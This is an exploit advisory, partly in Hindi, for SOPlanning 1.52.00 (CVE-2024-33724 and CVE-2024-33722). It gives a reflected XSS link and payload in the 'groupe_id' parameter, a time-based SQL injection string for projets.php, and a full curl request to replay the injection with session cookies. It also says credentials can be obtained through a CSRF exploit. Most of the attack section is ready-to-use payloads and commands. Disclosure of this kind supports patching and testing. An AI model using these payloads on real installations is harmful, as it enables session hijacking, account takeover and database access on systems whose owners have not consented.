
SOPlanning 1.52.00 CSRF/SQLi/XSS (CVE-2024-33722, CVE-2024-33724)
Application: SOPlanning
Version: 1.52.00
Date: 4/22/24
Exploit Author: Joseph McPeters (Liquidsky)
Vendor Homepage: https://www.soplanning.org/en/
Software Link: https://sourceforge.net/projects/soplanning/
Tested on: Linux
CVE: CVE-2024-33724
Exploit: https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-XSS-README.txt
Description: SOPlanning v1.52.00 'groupe_id' पैरामीटर्स के माध्यम से XSS के प्रति संवेदनशील है, एक दूरस्थ अप्रमाणित हमलावर एडमिन अकाउंट या अन्य उपयोगकर्ताओं का अपहरण कर सकता है। दूरस्थ हमलावर उपयोगकर्ता के सत्र या क्रेडेंशियल्स का अपहरण कर सकता है और पूरे प्लेटफॉर्म पर कब्जा कर सकता है।
Example Payload: "><!--
Reflected XSS Link: /soplanning/www/process/groupe_save.php?saved=1&groupe_id="><!--&nom=Project+New
Analysis: लैंडिंग पेज उपयोगकर्ता इनपुट पैरामीटर को ध्यान में रखता है और फिर एक पेज पर रीडायरेक्ट करता है जहाँ XSS दिखाया जाता है, एक्सप्लॉइट में शामिल पेलोड उस वैरिएबल से बच निकलता है जहाँ यह रखा गया है और बाकी को कमेंट आउट कर देता है ताकि एडमिन सहित किसी भी प्रमाणित उपयोगकर्ता के खिलाफ एक वैध प्रतिबिंबित XSS हमला किया जा सके।
Application: SOPlanning
Version: 1.52.00
Date: 4/22/24
Exploit Author: Joseph McPeters (Liquidsky उर्फ fuzzlove)
Vendor Homepage: https://www.soplanning.org/en/
Software Link: https://sourceforge.net/projects/soplanning/
Tested on: Linux
CVE: CVE-2024-33722
Exploit: https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-sqli-README.txt
Description: SOPlanning v1.52.00 'projects.php' पेज के माध्यम से प्रमाणित SQL इंजेक्शन के प्रति संवेदनशील है।
Instructions: होस्ट पर प्रमाणित करें, क्रेडेंशियल्स एक CSRF एक्सप्लॉइट का उपयोग करके प्राप्त किए जा सकते हैं (अधिक जानकारी शामिल है)। एक बार वैध क्रेडेंशियल्स प्राप्त होने के बाद, वैध SQLi के बराबर वैध पैरामीटर भेजने के लिए GET/POST अनुरोध का उपयोग करें।
Vulnerable request parameters for request to "/www/projets.php":
filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test
The above parameters can be sent as either a valid GET/POST request to trigger the SQLi. Example Curl Request To Re-Test SQLi:
curl -i -s -k -X $'POST'
-H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 130' -H $'Origin: http://127.0.0.1' -H $'Connection: close' -H $'Referer: http://127.0.0.1/soplanning/www/projets.php' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1'
-b $'dateDebut=23/04/2024; dateFin=23/06/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; yposProjets=33; PHPSESSID=ovpbclvbc87uh7anfbq2luf9bi; soplanningplanning_=hhrtf0rgs562vm8rhn5i641481; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D'
--data-binary $'filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test'
$'http://127.0.0.1/soplanning/www/projets.php'
Note: वैध SQLi के लिए कुकीज़ प्रमाणित होनी चाहिए और अनुरोध वैध होना चाहिए। इस कर्ल अनुरोध का उपयोग प्रॉक्सी के साथ एक वैध अनुरोध को पुनर्निर्मित करने के लिए किया जा सकता है।